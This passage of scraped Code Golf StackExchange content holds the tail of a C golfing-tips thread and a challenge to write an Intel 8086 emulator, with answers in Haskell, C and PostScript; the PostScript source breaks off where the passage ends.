`while(c=getchar()+1)` and modify value of c at every place\n[Answer]\nIf you ever need to output a single newline character (`\\n`), don't use `putchar(10)`, use `puts(\"\")`.\n[Answer]\n# Reverse Loops\nIf you can, try to replace\n```\nfor(int i=0;i`, etc.) give `0` or `1`. Use this with arithmetic operators to give different offsets depending on whether the condition is true or false: `a[1+2*(i<3)]` would access `a[1]` if `i >= 3` and `a[3]` otherwise.\n[Answer]\nYou may look into the IOCCC archives (international obfuscated C code contest).\nOne notable trick is to #define macros whose expansion has unbalanced braces/parentheses, like\n```\n#define P printf(\n```\n[Answer]\n# `dprintf` for conditional printing\nAs you may know, printing something by a condition can be done with `?:`, `&&` or `||`:\n```\ncond&&printf(\"%d\\n\",n);\ncond||printf(\"%d\\n\",n);\ncond?:printf(\"%d\\n\",n);\n```\nAnother interesting idea is to use `dprintf`, which is the same as `printf` except that it takes an extra argument, specifying the output file descriptor. It will only output to STDOUT if said argument is equal to 1. This can be abused to potentially save a few bytes over the previously mentioned methods:\n```\nx-1||printf(\"%d\\n\",n);\ndprintf(x,\"%d\\n\",n);\n```\n[Answer]\n### Assign instead of return.\nThis is not really standard C, but works with every compiler and CPU that I know of:\n```\nint sqr(int a){return a*a;}\n```\nhas the same effect as:\n```\nint sqr(int a){a*=a;}\n```\nBecause the first argument is stored into the same CPU register as the return value.\n*Note: As noted in one comment, this is undefined behaviour and not guaranteed to work for every operation. And any compiler optimization will just skip over it.*\n### X-Macros\nAnother useful feature: X-Macros can help you when you have a list of variables and you need to do some operation which involve all of them:\n\n[Answer]\nUsing `asprintf()` saves you the explicit allocating and also measuring the length of a string aka `char*`! \nThis isn't maybe too useful for code golfing, but eases the everyday work with a char arrays. There are some more good advises in [21st Century C](http://shop.oreilly.com/product/0636920025108.do).\nUsage example:\n```\n#define _GNU_SOURCE\n#include \nint main(int argc, char** argv) {\n char* foo;\n asprintf(&foo, \"%s\", argv[1]);\n printf(\"%s\",foo);\n}\n```\n[Answer]\n`for(int i=0;i\nchar*p=getenv(\"PATH\");\n```\nThis is *the right way*™, but not very golfy; it costs **19** bytes.\n* Declare *getenv* with the pointer as follows.\n```\nchar*getenv(),*p=getenv(\"PATH\");\n```\nThis costs **10** bytes.\n* Finally, unless your code wouldn't work on 32-bit platforms, compile your code on one of those or with the `-m32` flag (gcc). This costs **0** bytes.\n]"}}},{"rowIdx":52,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \n**Note:** A couple of answers have arrived. Consider upvoting newer answers too.\n* [Common Lisp from happy5214](https://codegolf.stackexchange.com/a/136505/3428)\n* [C from luser droog](https://codegolf.stackexchange.com/a/52902/3428)\n* [Java from NeatMonster](https://codegolf.stackexchange.com/a/48043/3428)\n* [Javascript from crempp](https://codegolf.stackexchange.com/a/26268/3428)\n* [C from Mike C](https://codegolf.stackexchange.com/a/12482/3428)\n* [C++ from Darius Goad](https://codegolf.stackexchange.com/a/10497/3428)\n* [Postscript from luser droog](https://codegolf.stackexchange.com/a/9065/3428)\n* [C++ from \nJoeFish](https://codegolf.stackexchange.com/a/9044/3428)\n* [Javascript from entirelysubjective](https://codegolf.stackexchange.com/a/8977/3428)\n* [C from RichTX](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#6514)\n* [C++ from Dave C](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#5538)\n* [Haskell from J B](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#4985)\n* [Python from j-a](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#4980)\n---\nThe [8086](http://en.wikipedia.org/wiki/Intel_8086) is Intel's first x86 microprocessor. Your task is to write an emulator for it. Since this is relatively advanced, I want to limit it a litte:\n* Only the following opcodes need to be implemented:\n\t+ mov, push, pop, xchg\n\t+ add, adc, sub, sbb, cmp, and, or, xor\n\t+ inc, dec\n\t+ call, ret, jmp\n\t+ jb, jz, jbe, js, jnb, jnz, jnbe, jns\n\t+ stc, clc\n\t+ hlt, nop\n* As a result of this, you only need to calculate the carry, zero and sign flags\n* Don't implement segments. Assume `cs = ds = ss = 0`.\n* No prefixes\n* No kinds of interrupts or port IO\n* No string functions\n* No two-byte opcodes (0F..)\n* No floating point arithmetic\n* (obviously) no 32-bit things, sse, mmx, ... whatever has not yet been invented in 1979\n* You do not have to count cycles or do any timing\nStart with `ip = 0` and `sp = 100h`. \n---\n**Input:** Your emulator should take a binary program in any kind of format you like as input (read from file, predefined array, ...) and load it into memory at address 0.\n**Output:**\nThe video RAM starts at address 8000h, every byte is one (ASCII-)character. Emulate a 80x25 screen to console. Treat zero bytes like spaces.\nExample:\n```\n08000 2E 2E 2E 2E 2E 2E 2E 2E 2E 00 00 00 00 00 00 00 ................\n08010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n08020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n08030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n08040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n08050 48 65 6C 6C 6F 2C 20 77 6F 72 6C 64 21 00 00 00 Hello,.world!...\n```\nNote: This is very similiar to the real video mode, which is usually at 0xB8000 and has another byte per character for colors.\n**Winning criteria:** \n* All of the mentioned instructions need to be implemented\n* I made an uncommented test program ([link](http://copy.sh/stuff/codegolf), [nasm source](http://copy.sh/stuff/codegolf.asm)) that should run properly. It outputs\n```\n......... \nHello, world! \n0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ \n################################################################################\n## ##\n## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ##\n## ##\n## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ##\n## ##\n## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n################################################################################\n```\n* I am not quite sure if this should be codegolf; it's kind of a hard task, so any submission will win many upvotes anyway. Please comment.\nHere are some links to help you on this task:\n* [instruction format](http://www.logix.cz/michal/doc/i386/chp17-02.htm), [more](http://wiki.osdev.org/X86_Instruction_Encoding)\n* [opcode table](http://ref.x86asm.net/geek32.html)\n* [opcode descriptions](http://faydoc.tripod.com/cpu/)\n* [16-bit mod R/M byte decoding](http://www.sandpile.org/x86/opc_rm16.htm)\n* [registers](http://www.eecg.toronto.edu/~amza/www.mindsec.com/files/x86regs.html), [flags register](http://en.wikipedia.org/wiki/FLAGS_register_(computing))\n* [1979 Manual](http://matthieu.benoit.free.fr/cross/data_sheets/Intel_8086_users_manual.htm)\nThis is my first entry to this platform. If there are any mistakes, please point them out; if I missed a detail, simply ask.\n \n[Answer]\nFeel free to fork and golf it: \n![Result](https://i.stack.imgur.com/WVQsb.png)\nI included an interactive debugger as well. \n```\nCF:0 ZF:0 SF:0 IP:0x0000\nAX:0x0000 CX:0x0000 DX:0x0000 BX:0x0000 SP:0x0100 BP:0x0000 SI:0x0000 DI:0x0000\nAL: 0x00 CL: 0x00 DL: 0x00 BL: 0x00 AH: 0x00 CH: 0x00 DH: 0x00 BH: 0x00\nstack: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ...\ncmp SP, 0x100\n[Enter]:step [R]:run [B 0xadr]:add break [M 0xadr]:see RAM [Q]:quit\nB 0x10\nM 0x1\nM 0x1: 0xfc 0x00 0x01 0x74 0x01 0xf4 0xbc 0x00 0x10 0xb0 0x2e 0xbb ...\nR\nCF:0 ZF:0 SF:1 IP:0x0010\nAX:0x002e CX:0x0000 DX:0x0000 BX:0xffff SP:0x1000 BP:0x0000 SI:0x0000 DI:0x0000\nAL: 0x2e CL: 0x00 DL: 0x00 BL: 0xff AH: 0x00 CH: 0x00 DH: 0x00 BH: 0x00\nstack: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ...\ncmp BX, 0xffff\n[Enter]:step [R]:run [B 0xadr]:add break [M 0xadr]:see RAM [Q]:quit\n```\nThere are three files: emu8086.py (required) console.py (optional for display output), disasm.py (optional, to get a listing of the asm in the codegolf).\nTo run with the display (note uses curses):\n```\npython emu8086.py \n```\nTo run with interactive debugger:\n```\npython emu8086.py a b\n```\nTo run with non-interactive \"debugger\":\n```\npython emu8086.py a\n```\nThe program \"[codegolf](http://copy.freeunix.net/stuff/codegolf)\" should be in the same directory.\n[emu8086.py](http://pastebin.com/HuMwBU4R)\n[console.py](http://pastebin.com/2JYP4fnx)\n[disasm.py](http://pastebin.com/ZfJxhksB)\n[On github](https://github.com/julienaubert/py8086)\n[Answer]\n# Haskell, ~~256~~ ~~234~~ 196 lines\nI've had this work-in-progress one for some time, I intended to polish it a bit more before publishing, but now the fun's officially started, there's not much point in keeping it hidden anymore. I noticed while extracting it that it's exactly 256 lines long, so I suppose it is at a \"remarkable\" point of its existence.\n*What's in:* barely enough of the 8086 instruction set to run the example binary flawlessly. **Self-modifying code is supported.** (prefetch: zero bytes) \nIronically, the first sufficient iterations of the code were longer and supported less of the opcode span. Refactoring ended up beneficial both to code length and to opcode coverage.\n*What's out:* obviously, segments, prefixes and multibyte opcodes, interrupts, I/O ports, string operations, and FP. I initially did follow the original `PUSH SP` behavior, but had to drop it after a few iterations.\nCarry flag results are probably very messed up in a few cases of `ADC`/`SBB`.\nAnyway, here's the code:\n```\n------------------------------------------------------------\n-- Imports\n-- They're the only lines I allow to go over 80 characters.\n-- For the simple reason the code would work just as well without the\n-- actual symbol list, but I like to keep it up to date to better\n-- grasp my dependency graph.\nimport Control.Monad.Reader (ReaderT,runReaderT,ask,lift,forever,forM,when,void)\nimport Control.Monad.ST (ST,runST)\nimport Control.Monad.Trans.Maybe (MaybeT,runMaybeT)\nimport Data.Array.ST (STUArray,readArray,writeArray,newArray,newListArray)\nimport Data.Bits (FiniteBits,(.&.),(.|.),xor,shiftL,shiftR,testBit,finiteBitSize)\nimport Data.Bool (bool)\nimport qualified Data.ByteString as B (unpack,getContents)\nimport Data.Char (chr,isPrint) -- for screen dump\nimport Data.Int (Int8)\nimport Data.STRef (STRef,newSTRef,readSTRef,writeSTRef,modifySTRef)\nimport Data.Word (Word8,Word16)\n------------------------------------------------------------\n-- Bytes and Words\n-- Bytes are 8 bits. Words are 16 bits. Addressing is little-endian.\n-- Phantom types. Essentially (only?) used for the ALU\nbyte = undefined :: Word8\nword = undefined :: Word16\n-- Byte to word conversion\nbyteToWordSE = (fromIntegral :: Int8 -> Word16) .\n (fromIntegral :: Word8 -> Int8)\n-- Two-bytes to word conversion\nconcatBytes :: Word8 -> Word8 -> Word16\nconcatBytes l h = fromIntegral l .|. (fromIntegral h `shiftL` 8)\n-- Word to two bytes conversion\nwordToByteL,wordToByteH :: Word16 -> Word8\nwordToByteL = fromIntegral\nwordToByteH = fromIntegral . (`shiftR` 8)\n-- A Place is an lvalue byte or word. In absence of I/O ports, this\n-- means RAM or register file. This type synonym is not strictly\n-- needed, but without it it's unclear I could keep the alu function\n-- type signature under twice 80 characters, so why not keep this.\ntype Place s = (STUArray s Word16 Word8,Word16)\n-- Read and write, byte or word, from RAM or register file\nclass (Ord a,FiniteBits a,Num a) => Width a where\n readW :: Place s -> MonadCPU s a\n writeW :: Place s -> a -> MonadCPU s ()\ninstance Width Word8 where\n readW = liftST . uncurry readArray\n writeW = (liftST .) . uncurry writeArray\ninstance Width Word16 where\n readW (p,a) = concatBytes <$> readW (p,a) <*> readW (p,a+1)\n writeW (p,a) val = do\n writeW (p,a) $ wordToByteL val\n writeW (p,a+1) $ wordToByteH val\n------------------------------------------------------------\n-- CPU object\n-- The actual CPU state. Yeah, I obviously don't have all flags in! :-D\ndata CPU s = CPU { ram :: STUArray s Word16 Word8\n , regs :: STUArray s Word16 Word8\n , cf :: STRef s Bool\n , zf :: STRef s Bool\n , sf :: STRef s Bool }\nnewCPU rawRam = do ramRef <- newListArray (0,0xFFFF) rawRam\n regFile <- newArray (0,17) 0\n cf <- newSTRef False\n zf <- newSTRef False\n sf <- newSTRef False\n return $ CPU ramRef regFile cf zf sf\n-- Register addresses within the register file. Note odd placement\n-- for BX and related. Also note the 16-bit registers have a wider\n-- pitch. IP was shoehorned in recently, it doesn't really need an\n-- address here, but it made other code shorter, so that's that.\n-- In the 8-bit subfile, only regAl is used in the code (and it's 0,\n-- so consider that a line I could totally have skipped)\n[regAl,regAh,regCl,regCh,regDl,regDh,regBl,regBh] = [0..7]\n-- In the 16-bit file, they're almost if not all referenced. 8086\n-- sure is clunky.\n[regAx,regCx,regDx,regBx,regSp,regBp,regSi,regDi,regIp] = [0,2..16]\n-- These functions look like I got part of the Lens intuition\n-- independently, come to look at it after the fact. Cool :-)\nreadCpu ext = liftST . readSTRef . ext =<< ask\nwriteCpu ext f = liftST . flip writeSTRef f . ext =<< ask\n-- It looks like the only operations IP can receive are relative moves\n-- (incrIP function below) and a single absolute set: RET. I deduce\n-- only short jumps, not even near, were in the spec.\nincrIP i = do old <- readReg regIp\n writeReg regIp (old + i)\n return old\n-- Read next instruction. Directly from RAM, so no pipeline prefetch.\nreadInstr8 = incrIP 1 >>= readRam\nreadInstr16 = concatBytes <$> readInstr8 <*> readInstr8\n-- RAM/register file R/W specializers\nreadReg reg = ask >>= \\p -> readW (regs p,reg)\nreadRam addr = ask >>= \\p -> readW (ram p ,addr)\nwriteReg reg val = ask >>= \\p -> writeW (regs p,reg) val\nwriteRam addr val = ask >>= \\p -> writeW (ram p ,addr) val\n-- I'm not quite sure what those do anymore, or why they're separate.\ndecodeReg8 n = fromIntegral $ (n `shiftL` 1) .|. (n `shiftR` 2)\ndecodeReg16 n = fromIntegral $ n `shiftL` 1\nreadDecodedReg8 = readReg . decodeReg8\nreadDecodedReg16 = readReg . decodeReg16\n-- The monad type synonym make type signatures easier :-(\ntype MonadCPU s = MaybeT (ReaderT (CPU s) (ST s))\n-- Specialized liftST, because the one from Hackage loses the\n-- parameter, and I need it to be able to qualify Place.\nliftST :: ST s a -> MonadCPU s a\nliftST = lift . lift\n------------------------------------------------------------\n-- Instructions\n-- This is arguably the core secret of the 8086 architecture.\n-- See statement links for actual explanations.\nreadModRM = do\n modRM <- readInstr8\n let mod = modRM `shiftR` 6\n opReg = (modRM .&. 0x38) `shiftR` 3\n rm = modRM .&. 0x07\n cpu <- ask\n operand <- case mod of\n 0 -> do\n addr <- case rm of\n 1 -> (+) <$> readReg regBx <*> readReg regDi\n 2 -> (+) <$> readReg regBp <*> readReg regSi\n 6 -> readInstr16\n 7 -> readReg regBx\n return (ram cpu,addr)\n 2 -> do\n addr <- case rm of\n 5 -> (+) <$> readReg regDi <*> readInstr16\n 7 -> (+) <$> readReg regBx <*> readInstr16\n return (ram cpu,addr)\n 3 -> return (regs cpu,2*fromIntegral rm)\n return (operand,opReg,opReg)\n-- Stack operations. PUSH by value (does NOT reproduce PUSH SP behavior)\npush16 val = do\n sp <- subtract 2 <$> readReg regSp\n writeReg regSp sp\n writeRam sp (val :: Word16)\npop16 = do\n sp <- readReg regSp\n val <- readRam sp\n writeReg regSp (sp+2)\n return (val :: Word16)\n-- So, yeah, JMP seems to be relative (short) only. Well, if that's enough…\njump cond = when cond . void . incrIP . byteToWordSE =<< readInstr8\n-- The ALU. The most complicated type signature in this file. An\n-- initial argument as a phantom type I tried to get rid of and\n-- failed.\nalu :: Width w => w -> MonadCPU s w -> MonadCPU s w -> Place s\n -> (w -> w -> MonadCPU s (Bool,Maybe Bool,w)) -> MonadCPU s ()\nalu _ a b r op = do\n (rw,c,v) <- a >>= (b >>=) . op\n when rw $ writeW r v\n maybe (return ()) (writeCpu cf) c\n writeCpu zf (v == 0)\n writeCpu sf (testBit v (finiteBitSize v - 1))\ndecodeALU 0 = \\a b -> return (True, Just (a >= negate b), a + b)\ndecodeALU 1 = \\a b -> return (True, Just False, a .|. b)\ndecodeALU 2 = \\a b -> bool 0 1 <$> readCpu cf >>= \\c ->\n return (True, Just (a >= negate (b + c)), a + b + c)\ndecodeALU 3 = \\a b -> bool 0 1 <$> readCpu cf >>= \\c ->\n return (True, Just (a < b + c), a - b - c)\ndecodeALU 4 = \\a b -> return (True, Just False, a .&. b)\ndecodeALU 5 = \\a b -> return (True, Just (a <= b), a - b)\ndecodeALU 6 = \\a b -> return (True, Just False, a `xor` b)\ndecodeALU 7 = \\a b -> return (False,Just (a <= b), a - b)\nopIncDec :: Width w => w -> w -> MonadCPU s (Bool,Maybe Bool,w)\nopIncDec = \\a b -> return (True, Nothing, a + b)\n-- Main iteration: process one instuction\n-- That's the rest of the meat, but that part's expected.\nprocessInstr = do\n opcode <- readInstr8\n regs <- regs <$> ask\n let zReg = (regs,decodeReg16 (opcode .&. 0x07))\n if opcode < 0x40 then -- no segment or BCD\n let aluOp = (opcode .&. 0x38) `shiftR` 3 in case opcode .&. 0x07 of\n 0 -> do\n (operand,reg,_) <- readModRM\n alu byte (readW operand) (readDecodedReg8 reg) operand (decodeALU aluOp)\n 1 -> do\n (operand,reg,_) <- readModRM\n alu word (readW operand) (readDecodedReg16 reg) operand (decodeALU aluOp)\n 4 -> alu byte (readReg regAl) readInstr8 (regs,regAl) (decodeALU aluOp)\n else case opcode .&. 0xF8 of -- 16-bit (mostly) reg ops\n 0x40 -> alu word (readW zReg) (return 1 ) zReg opIncDec -- 16b INC\n 0x48 -> alu word (readW zReg) (return (-1)) zReg opIncDec -- 16b DEC\n 0x50 -> readW zReg >>= push16 -- 16b PUSH reg\n 0x58 -> pop16 >>= writeW zReg -- 16b POP reg\n 0x90 -> do v1 <- readW zReg -- 16b XCHG (or NOP)\n v2 <- readReg regAx\n writeW zReg (v2 :: Word16)\n writeReg regAx (v1 :: Word16)\n 0xB0 -> readInstr8 >>= writeW zReg -- (BUG!) -- 8b MOV reg,imm\n 0xB8 -> readInstr16 >>= writeW zReg -- 16b MOV reg,imm\n _ -> case bool opcode 0x82 (opcode == 0x80) of\n 0x72 -> jump =<< readCpu cf -- JB/JNAE/JC\n 0x74 -> jump =<< readCpu zf -- JE/JZ\n 0x75 -> jump . not =<< readCpu zf -- JNE/JNZ\n 0x76 -> jump =<< (||) <$> readCpu cf <*> readCpu zf -- JBE\n 0x77 -> jump . not =<< (||) <$> readCpu cf <*> readCpu zf -- JA\n 0x79 -> jump . not =<< readCpu sf -- JNS\n 0x81 -> do -- 16b arith to imm\n (operand,_,op) <- readModRM\n alu word (readW operand) readInstr16 operand (decodeALU op)\n 0x82 -> do -- 8b arith to imm\n (operand,_,op) <- readModRM\n alu byte (readW operand) readInstr8 operand (decodeALU op)\n 0x83 -> do -- 16b arith to 8s imm\n (operand,_,op) <- readModRM\n alu word (readW operand) (byteToWordSE <$> readInstr8) operand\n (decodeALU op)\n 0x86 -> do -- 8b XCHG reg,RM\n (operand,reg,_) <- readModRM\n v1 <- readDecodedReg8 reg\n v2 <- readW operand\n writeReg (decodeReg8 reg) (v2 :: Word8)\n writeW operand v1\n 0x88 -> do -- 8b MOV RM,reg\n (operand,reg,_) <- readModRM\n readDecodedReg8 reg >>= writeW operand\n 0x89 -> do -- 16b MOV RM,reg\n (operand,reg,_) <- readModRM\n readDecodedReg16 reg >>= writeW operand\n 0x8A -> do -- 8b MOV reg,RM\n (operand,reg,_) <- readModRM\n val <- readW operand\n writeReg (decodeReg8 reg) (val :: Word8)\n 0x8B -> do -- 16b MOV reg,RM\n (operand,reg,_) <- readModRM\n val <- readW operand\n writeReg (decodeReg16 reg) (val :: Word16)\n 0xC3 -> pop16 >>= writeReg regIp -- RET\n 0xC7 -> do (operand,_,_) <- readModRM -- 16b MOV RM,imm\n readInstr16 >>= writeW operand\n 0xE8 -> readInstr16 >>= incrIP >>= push16 -- CALL relative\n 0xEB -> jump True -- JMP short\n 0xF4 -> fail \"Halting and Catching Fire\" -- HLT\n 0xF9 -> writeCpu cf True -- STC\n 0xFE -> do -- 8-bit INC/DEC RM\n (operand,_,op) <- readModRM\n alu byte (readW operand) (return $ 1-2*op) operand\n (\\a b -> return (True,Nothing,a+b)) -- kinda duplicate :(\n------------------------------------------------------------\nmain = do\n rawRam <- (++ repeat 0) . B.unpack <$> B.getContents\n putStr $ unlines $ runST $ do\n cpu <- newCPU rawRam\n flip runReaderT cpu $ runMaybeT $ do\n writeReg regSp (0x100 :: Word16)\n forever processInstr\n -- Next three lines is the screen dump extraction.\n forM [0..25] $ \\i -> forM [0..79] $ \\j -> do\n c <- chr . fromIntegral <$> readArray (ram cpu) (0x8000 + 80*i + j)\n return $ bool ' ' c (isPrint c)\n```\nThe output for the provided sample binary matches the specification perfectly. Try it out using an invocation such as:\n```\nrunhaskell 8086.hs <8086.bin\n```\nMost non-implemented operations will simply result in a pattern matching failure.\nI still intend to factor quite a bit more, and implement actual live output with curses.\nUpdate 1: got it down to 234 lines. Better organized the code by functionality, re-aligned what could be, tried to stick to 80 columns. And refactored the ALU multiple times.\nUpdate 2: it's been five years, I figured an update to get it to compile flawlessly on the latest GHC could be in order. Along the way:\n* got rid of liftM, liftM2 and such. I love having `<$>` and `<*>` in the Prelude.\n* Data.Bool and Data.ByteString, saves a bit and cleans up.\n* IP register used to be special (unaddressable), now it's in the register file. It doesn't make so much 8086 sense, but hey I'm a golfer.\n* It's all pure ST-based code now. From a golfing point of view, this sucks, because it made a lot of type signatures necessary. On the other hand, I had a row with my conscience and I lost, so now you get the clean, long code.\n* So now this is git-tracked.\n* Added more serious comments. As a consequence, the way I count lines has changed: I'm dropping empty and pure-comment lines. I hereby guarantee all lines but the imports are less than 80 characters long. I'm not dropping type signatures since the one I've left are actually needed to get it to compile properly (thank you very much ST cleanliness).\nAs the code comments say, 5 lines (the Data.Char import, the 8-bit register mappings and the screen dump) are out of spec, so you're very welcome to discount them if you feel so inclined :-)\n[Answer]\n# C - 7143 lines (CPU itself 3162 lines)\nEDIT: The Windows build now has drop-down menus to change out virtual disks.\nI've written a full 80186/V20 PC emulator (with CGA/MCGA/VGA, sound blaster, adlib, mouse, etc), it's not a trivial thing to emulate an 8086 by any means. It took many months to get fully accurate. Here's the CPU module only out of my emulator.\n\nI'll be the first to admit I use wayyy too many global variables in this emulator. I started writing this when I was still pretty new to C, and it shows. I need to clean some of it up one of these days. Most of the other source files in it don't look so ugly.\nYou can see all of the code (and some screenshots, one is below) through here: \nI would be very very happy to help anybody else out who is wanting to write their own, because it's a lot of fun, and you learn a LOT about the CPU! Disclaimer: I didn't add the V20's 8080 emulation since its almost never been used in a PC program. Seems like a lot of work for no gain.\n![Street Fighter 2!](https://i.stack.imgur.com/uTwXZ.jpg)\n[Answer]\n# Postscript (~~130~~ ~~200~~ ~~367~~ ~~517~~ ~~531~~ ~~*222*~~ 246 lines)\n~~Still a work-in-progress, but~~ I wanted to show some code in an effort to encourage others to *show some code*.\nThe register set is represented as one string, so the various byte- and word- sized registers can naturally overlap by referring to substrings. Substrings are used as pointers throughout, so that a register and a memory location (substring of the memory string) can be treated uniformly in the operator functions.\nThen there are a handful of words to get and store data (byte or word) from a \"pointer\", from memory, from mem[(IP)] (incrementing IP). Then there are a few functions to fetch the MOD-REG-R/M byte and set the REG and R/M and MOD variables, and decode them using tables. Then the operator functions, keyed to the opcode byte. So the execution loop is simply `fetchb load exec`.\n~~I've only got a handful of opcodes implemented, but g~~Getting the operand decoding felt like such a milestone that I wanted to share it.\n*edit:* Added words to sign-extend negative numbers. More opcodes. Bugfix in the register assignments. Comments. Still working on flags and filling-out the operators. Output presents some choices: output text to stdout on termination, continuously output using vt100 codes, output to the image window using CP437 font.\n*edit:* Finished writing, begun debugging. It gets the first four dots of output! Then the carry goes wrong. Sleepy.\n*edit:* I think I've got the Carry Flag sorted. Some of the story happened on [comp.lang.postscript](https://groups.google.com/d/topic/comp.lang.postscript/6-wfOlxeugk/discussion). I've added some debugging apparatus, and the output goes to the graphics window (using my previously-written [Code-Page 437 Type-3 font](http://code.google.com/p/xpost/downloads/detail?name=cp437.ps)), so the text output can be full of traces and dumps. It writes \"Hello World!\" and then there's that suspicious caret. Then a whole lotta nothin'. :( We'll get there. Thanks for all the encouragement!\n*edit:* Runs the test to completion. The final few bugs were: XCHG doing 2{read store}repeat which of course copies rather than exchanges, AND not setting flags, (FE) INC trying to get a word from a byte pointer.\n*edit:* Total re-write from scratch using the concise table from the manual (*turned a new page!*). I'm starting to think that factoring-out the *store* from the opcodes was a bad idea, but it helped keep the optab pretty. No screenshot this time. I added an instruction counter and a mod-trigger to dump the video memory, so it interleaves easily with the debug info.\n*edit:* Runs the test program, again! The final few bugs for the shorter re-write were neglecting to sign-extend the immediate byte in opcodes 83 (the \"Immediate\" group) and EB (short JMP). 24-line increase covers additional debugging routines needed to track down those final bugs.\n```\n%!\n%a8086.ps Draught2:BREVITY\n[/NULL<0000>/nul 0\n/mem 16#ffff string %16-bit memory\n/CF 0 /OF 0 /AF 0 /ZF 0 /SF 0\n/regs 20 string >>begin %register byte storage\n0{AL AH CL CH DL DH BL BH}{regs 2 index 1 getinterval def 1 add}forall pop\n0{AX CX DX BX SP BP SI DI IP FL}{regs 2 index 2 getinterval def 2 add}forall pop\n%getting and fetching\n[/*b{0 get} %get byte from pointer\n/*w{dup *b exch 1 get bbw} %get word from pointer\n/*{{*b *w}W get exec} %get data(W) from pointer\n/bbw{8 bitshift add} %lo-byte hi-byte -> word\n/shiftmask{2 copy neg bitshift 3 1 roll 1 exch bitshift 1 sub and}\n/fetchb{IP *w mem exch get bytedump IP dup *w 1 add storew} % byte(IP++)\n/fetchw{fetchb fetchb bbw} % word(IP),IP+=2\n%storing and accessing\n/storeb{16#ff and 0 exch put} % ptr val8 -> -\n/storew{2 copy storeb -8 bitshift 16#ff and 1 exch put} % ptr val16 -> -\n/stor{{storeb storew}W get exec} % ptr val(W) -> -\n/memptr{16#ffff and mem exch {1 2}W get getinterval} % addr -> ptr(W)\n%decoding the mod-reg-reg/mem byte\n/mrm{fetchb 3 shiftmask /RM exch def 3 shiftmask /REG exch def /MOD exch def}\n/REGTAB[[AL CL DL BL AH CH DH BH][AX CX DX BX SP BP SI DI]]\n/decreg{REGTAB W get REG get} % REGTAB[W][REG]\n%2 indexes, with immed byte, with immed word\n/2*w{exch *w exch *w add}/fba{fetchb add}/fwa{fetchw add}\n/RMTAB[[{BX SI 2*w}{BX DI 2*w}{BP SI 2*w}{BP DI 2*w}\n {SI *w}{DI *w}{fetchw}{BX *w}]\n[{BX SI 2*w fba}{BX DI 2*w fba}{BP SI 2*w fba}{BP DI 2*w fba}\n {SI *w fba}{DI *w fba}{BP *w fba}{BX *w fba}]\n[{BX SI 2*w fwa}{BX DI 2*w fwa}{BP SI 2*w fwa}{BP DI 2*w fwa}\n {SI *w fwa}{DI *w fwa}{BP *w fwa}{BX *w fwa}]]\n/decrm{MOD 3 eq{REGTAB W get RM get} %MOD=3:register mode\n {RMTAB MOD get RM get exec memptr}ifelse} % RMTAB[MOD][RM] -> addr -> ptr\n%setting and storing flags\n/flagw{OF 11 bitshift SF 7 bitshift or ZF 6 bitshift or AF 4 bitshift CF or}\n/wflag{dup 1 and /CF exch def dup -4 bitshift 1 and /AF exch def\n dup -6 bitshift 1 and /ZF exch def dup -7 bitshift 1 and /SF exch def\n dup -11 bitshift 1 and /OF exch def}\n/nz1{0 ne{1}{0}ifelse}\n/logflags{/CF 0 def /OF 0 def /AF 0 def %clear mathflags\n dup {16#80 16#8000}W get and nz1 /SF exch def\n dup {16#ff 16#ffff}W get and 0 eq{1}{0}ifelse /ZF exch def}\n/mathflags{{z y x}{exch def}forall\n /CF z {16#ff00 16#ffff0000}W get and nz1 def\n /OF z x xor z y xor and {16#80 16#8000}W get and nz1 def\n /AF x y xor z xor 16#10 and nz1 def\n z} %leave the result on stack\n%opcodes (each followed by 'stor') %% { OPTAB fetchb get exec stor } loop\n/ADD{2 copy add logflags mathflags}\n/OR{or logflags}\n/ADC{CF add ADD}\n/SBB{D 1 xor {exch}repeat CF add 2 copy sub logflags mathflags}\n/AND{and logflags}\n/SUB{D 1 xor {exch}repeat 2 copy sub logflags mathflags}\n/XOR{xor logflags}\n/CMP{3 2 roll pop NULL 3 1 roll SUB} %dummy stor target\n/INC{t CF exch dup * 1 ADD 3 2 roll /CF exch def}\n/DEC{t CF exch dup * 1 SUB 3 2 roll /CF exch def}\n/PUSH{SP dup *w 2 sub storew *w SP *w memptr exch}\n/POP{SP *w memptr *w SP dup *w 2 add storew}\n/jrel{w {CBW IP *w add IP exch}{NULL exch}ifelse}\n/JO{fetchb OF 1 eq jrel }\n/JNO{fetchb OF 0 eq jrel }\n/JB{fetchb CF 1 eq jrel }\n/JNB{fetchb CF 0 eq jrel }\n/JZ{fetchb ZF 1 eq jrel }\n/JNZ{fetchb ZF 0 eq jrel }\n/JBE{fetchb CF ZF or 1 eq jrel }\n/JNBE{fetchb CF ZF or 0 eq jrel }\n/JS{fetchb SF 1 eq jrel }\n/JNS{fetchb SF 0 eq jrel }\n/JL{fetchb SF OF xor 1 eq jrel }\n/JNL{fetchb SF OF xor 0 eq jrel }\n/JLE{fetchb SF OF xor ZF or 1 eq jrel }\n/JNLE{fetchb SF OF xor ZF or 0 eq jrel }\n/bw{dup 16#80 and 0 ne{16#ff xor 1 add 16#ffff xor 1 add}if}\n/IMMTAB{ADD OR ADC SBB AND SUB XOR CMP }cvlit\n/immed{ W 2 eq{ /W 1 def\n mrm decrm dup * fetchb bw\n }{ mrm decrm dup * {fetchb fetchw}W get exec }ifelse\n exch IMMTAB REG get dup == exec }\n%/TEST{ 